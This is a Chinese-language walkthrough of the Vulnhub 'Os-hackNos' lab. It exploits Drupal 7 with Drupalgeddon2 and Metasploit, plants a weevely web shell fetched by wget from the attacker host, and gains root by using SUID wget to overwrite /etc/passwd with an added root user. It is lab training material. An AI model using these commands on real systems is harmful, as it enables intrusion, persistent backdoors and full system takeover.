• Vulnhub系列:Os-hackNos


    0x01环境搭建

    靶机链接: https://www.vulnhub.com/entry/hacknos-os-hacknos,401/

    发布日期: 2019.11.27

    靶机描述:

    描述

    难度:容易中级

    标记:2标记第一个用户和第二个根

    学习:利用| Web应用程序 枚举 特权提升

    网址:www.hackNos.com

    邮件:contact@hackNos.com

    实验主机:kali linux虚拟机(VM)
    实验靶机:Os-hackNos-1靶机(Virtualbox)
    实验网络:桥接模式
    实验难度:简单

    0x02信息收集

    1.主机发现

    netdiscover -i eth0

    或者用nmap

    nmap -sn 192.168.43.0/24

    ping探测扫描主机, 不进行端口扫描 (测试过对方主机把icmp包都丢弃掉,依然能检测到对方开机状态)

    2.端口扫描

    nmap 192.168.43.226 -O -sS -sV -v

    -O 判断是什么操作系统

    -sS 半开放扫描(非3次握手的tcp扫描)

    -sV 版本检测,比如扫出SSH端口,然后得出它的版本号

    -v 输出详细信息

    发现它开启了22:ssh和80:http服务

    http://192.168.43.226:80

    打开一看是一个apache的界面,应该存在别的页面,先扫一下目录

    dirb http://192.168.43.226

    发现了如下路径

    0x03漏洞发现

    查看drupal目录

     

    0x04漏洞利用

    知道drupal版本为7,到github上去找exp

    然后下载

    git clone https://github.com/dreadlocked/Drupalgeddon2.git

    在运行脚本前,需要预装依赖包highline

    gem install highline

    Gem是一个管理Ruby库和程序的标准包

    执行脚本

    ./drupalgeddon2.rb http://192.168.43.226/drupal/

    成功获得一个shell

    查看权限

    查看/etc/passwd,发现james用户

    0x05权限提升

    weevely

    使用weevely生成小马

    weevely generate hello ./door.php

    把小马传到靶机上

    scp root@192.168.43.221:/home/daye666/tools/weevely_ma/door.php /var/www/html/drupal

    scp传输失败,试试wget

    wget是一个从网络上自动下载文件的自由工具,支持通过HTTP、HTTPS、FTP三个最常见的TCP/IP协议下载,并可以使用HTTP代理。

    kali先开启web服务
    python -m SimpleHTTPServer 8000
    靶机wget下载door.php
    wget http://192.168.43.221:8000/door.php

    ps:

    在linux系统上安装了Python后,Python自带了一个WEB服务器 SimpleHTTPServer

    可以使用  python -m SimpleHTTPServer 快速搭建一个http服务,提供一个文件浏览的web服务。

    SimpleHTTPServer使用方法

      1)进入待分享的目录
      2)执行命令python -m SimpleHTTPServer 端口号
        注意:不填端口号则默认使用8000端口。
      3)浏览器访问该主机的地址:http://IP:端口号/

    上传成功

    weevely连接马儿

    weevely http://192.168.43.226/drupal/door.php hello

    浏览用户目录

    在james用户目录下发现一串MD5哈希,估计是密码

    bae11ce4f67af91fa58576c1da2aad4b

    解密失败

    浏览网站目录

    发现base64编码的一串密文

    KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA==

    解密后为:

    +++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++.
    ----- ---.< +++[- >+++< ]>+++ ++.<+ +++++ +[->- ----- -<]>- ----- --.<+
    ++[-> +++<] >++++ +.<++ +++[- >++++ +<]>. ++.++ +++++ +.--- ---.< +++[-
    >+++< ]>+++ +.<++ +++++ [->-- ----- <]>-. <+++[ ->--- <]>-- -.+.- ---.+
    ++.<

    去这个网站解密:http://tool.bugku.com/brainfuck/?wafcloud=1

    再解密:

    james:Hacker@4514

    切换用户

    没有tty终端和密码请求程序,不能切换用户

    suid提权

    先检查哪些命令具有suid权限(具有suid权限的命令可以以文件拥有者的权限执行)

    audit_suidsgid -only-suid /

    当然也可以直接在shell中运行以下命令寻找既为root用户,也拥有SUID权限的程序;

    find / -user root -perm -4000 -print 2>/dev/null
    find / -perm -u=s -type f 2>/dev/null

    我们发现wget命令可以可以使普通用户以root权限执行,即我们可以利用它修改passwd文件,加入特权用户

    生成密码哈希

    openssl passwd -1 -salt salt daye
    $1$salt$DdAoiqtA/a/oeQbF.cvVY1

    使用weevely自带的file_download命令下载passwd文件到本地

    file_download /etc/passwd /home/daye666/tools/passwd

    已经在本地生成了passwd文件

    写入特权用户

    echo 'daye:$1$salt$DdAoiqtA/a/oeQbF.cvVY1:0:0::/root/:/bin/bash' >> passwd

    然后用kali继续开启一个快速的http

     使用wget -O命令替代靶机原来的passwd文件(suid提权意义所在)

    wget http://192.168.43.221:8000/passwd -O /etc/passwd

    切换用户失败

    此时需要一个标准shell,参考 https://serverfault.com/questions/544328/su-must-be-run-from-a-terminal

    得知PHP shell无法执行交互行为,使用su命令会请求密码输入(askpass)

    因此,我们需要获得一个标准shell,请教表哥,说直接用meterperter即可

    use exploit/unix/webapp/drupal_drupalgeddon2
    set rhosts 192.168.43.226 
    set targeturi /drupal 
    run

    使用meterpreter的shell命令切换到标准终端,输入 python3 -c 'import pty; pty.spawn("/bin/bash")'即获取标准shell

    此时,切换用户,已经是root

    参考:https://blog.csdn.net/qlqlulu/article/details/109958922

     

  • 相关阅读:
    [leetcode]687. Longest Univalue Path
    [leetcode]543. Diameter of Binary Tree二叉树的直径
    [LeetCode]Subtree of Another Tree判断一棵树是不是另一棵树的子树
    [leetcode]508. Most Frequent Subtree Sum二叉树中出现最多的值
    [leetcode]450. Delete Node in a BST二叉搜索树删除节点
    [LeetCode]652. Find Duplicate Subtrees找到重复树
    MySQL 数据库
    javaScript
    Css 笔记
    Html 笔记
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/14076267.html
Copyright © 2020-2023  润新知